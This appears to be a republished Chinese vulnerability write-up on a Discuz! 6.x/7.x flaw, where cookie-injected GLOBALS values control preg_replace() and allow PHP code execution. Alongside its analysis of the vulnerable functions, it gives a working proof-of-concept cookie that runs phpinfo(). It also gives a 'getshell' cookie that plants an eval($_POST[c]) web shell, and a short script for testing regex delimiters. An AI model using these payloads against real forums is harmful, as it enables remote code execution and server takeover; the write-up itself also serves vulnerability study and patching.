Discuz! 6.x/7.x 全局变量防御绕过导致命令执行
Posted 羊小弟
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Discuz! 6.x/7.x 全局变量防御绕过导致命令执行相关的知识,希望对你有一定的参考价值。
参考:http://wooyun.jozxing.cc/static/bugs/wooyun-2014-080723.html
文件位于:include/discuzcode.func.php 第97-241行 函数 discuzcode()
有这么一句话,$GLOBALS[\'_DCACHE\'][\'smilies\'][\'searcharray\'], $GLOBALS[\'_DCACHE\'][\'smilies\'][\'replacearray\']
$message = preg_replace($GLOBALS[\'_DCACHE\'][\'smilies\'][\'searcharray\'], $GLOBALS[\'_DCACHE\'][\'smilies\'][\'replacearray\'], $message, $maxsmilies);
然而在5.3.*中,$_REQUEST这个超全局变量的值受php.ini中request_order的影响,在最新的php5.3.x系列 中,request_order默认值为GP,也就是说默认配置下$_REQUEST只包含$_GET和$_POST,而不包括$_COOKIE,那么我们就可以通过COOKIE来提交GLOBALS变量了。(在5.3.29中默认是CGP)
为了演示漏洞就设置成GP。
$message = preg_replace($GLOBALS[\'_DCACHE\'][\'smilies\'][\'searcharray\'], $GLOBALS[\'_DCACHE\'][\'smilies\'][\'replacearray\'], $message, $maxsmilies);
很典型的漏洞。preg_replace() 前两个参数可控,可就是说我们只要控制第一个参数是/e模式,第二个参数是我们要执行的php代码,就能构成一个后门了。
这里有个注意的点,就是不一定需要/e模式,
写个脚本跑跑看什么字符可以。
<?php preg_replace($_GET[\'a\'].\'.*\'.$_GET[\'a\'].\'e\',\'phpinfo();\',\'a\',1) ?>
具体的有\'"!@#$%^&*()-+等,但要注意传输过程中的转义。
通过cookie提交:GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();
然后在调用discuzcode()函数的地方回显。
在/viewthread.php中 viewthread_procpost() 函数 第619-729行
在第725行调用了discuzcode()函数
$post[\'message\'] = discuzcode($post[\'message\'], $post[\'smileyoff\'], $post[\'bbcodeoff\'], $post[\'htmlon\'] & 1, $forum[\'allowsmilies\'], $forum[\'allowbbcode\'], ($forum[\'allowimgcode\'] && $showimages ? 1 : 0), $forum[\'allowhtml\'], ($forum[\'jammer\'] && $post[\'authorid\'] != $discuz_uid ? 1 : 0), 0, $post[\'authorid\'], $forum[\'allowmediacode\'], $post[\'pid\']);
又在最前面的地方调用viewthread_procpost()函数
while($post = $sdb->fetch_array($query)) { if(($onlyauthoradd && $post[\'anonymous\'] == 0) || !$onlyauthoradd) { $postlist[$post[\'pid\']] = viewthread_procpost($post); } }
来到/include/discuzcode.func.php 当设置了$GLOBALS[\'_DCACHE\'][\'smilies\']的值以后,就能执行preg_replace(),造成代码执行。
if(!$smileyoff && $allowsmilies && !empty($GLOBALS[\'_DCACHE\'][\'smilies\']) && is_array($GLOBALS[\'_DCACHE\'][\'smilies\'])) {...}
poc:在cookie中添加:GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();
然后访问任一个帖子。/viewthread.php?tid=13&extra=page%3D1 就能触发漏洞
getsshell:GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=eval($_POST[c])%3B;
以上是关于Discuz! 6.x/7.x 全局变量防御绕过导致命令执行的主要内容,如果未能解决你的问题,请参考以下文章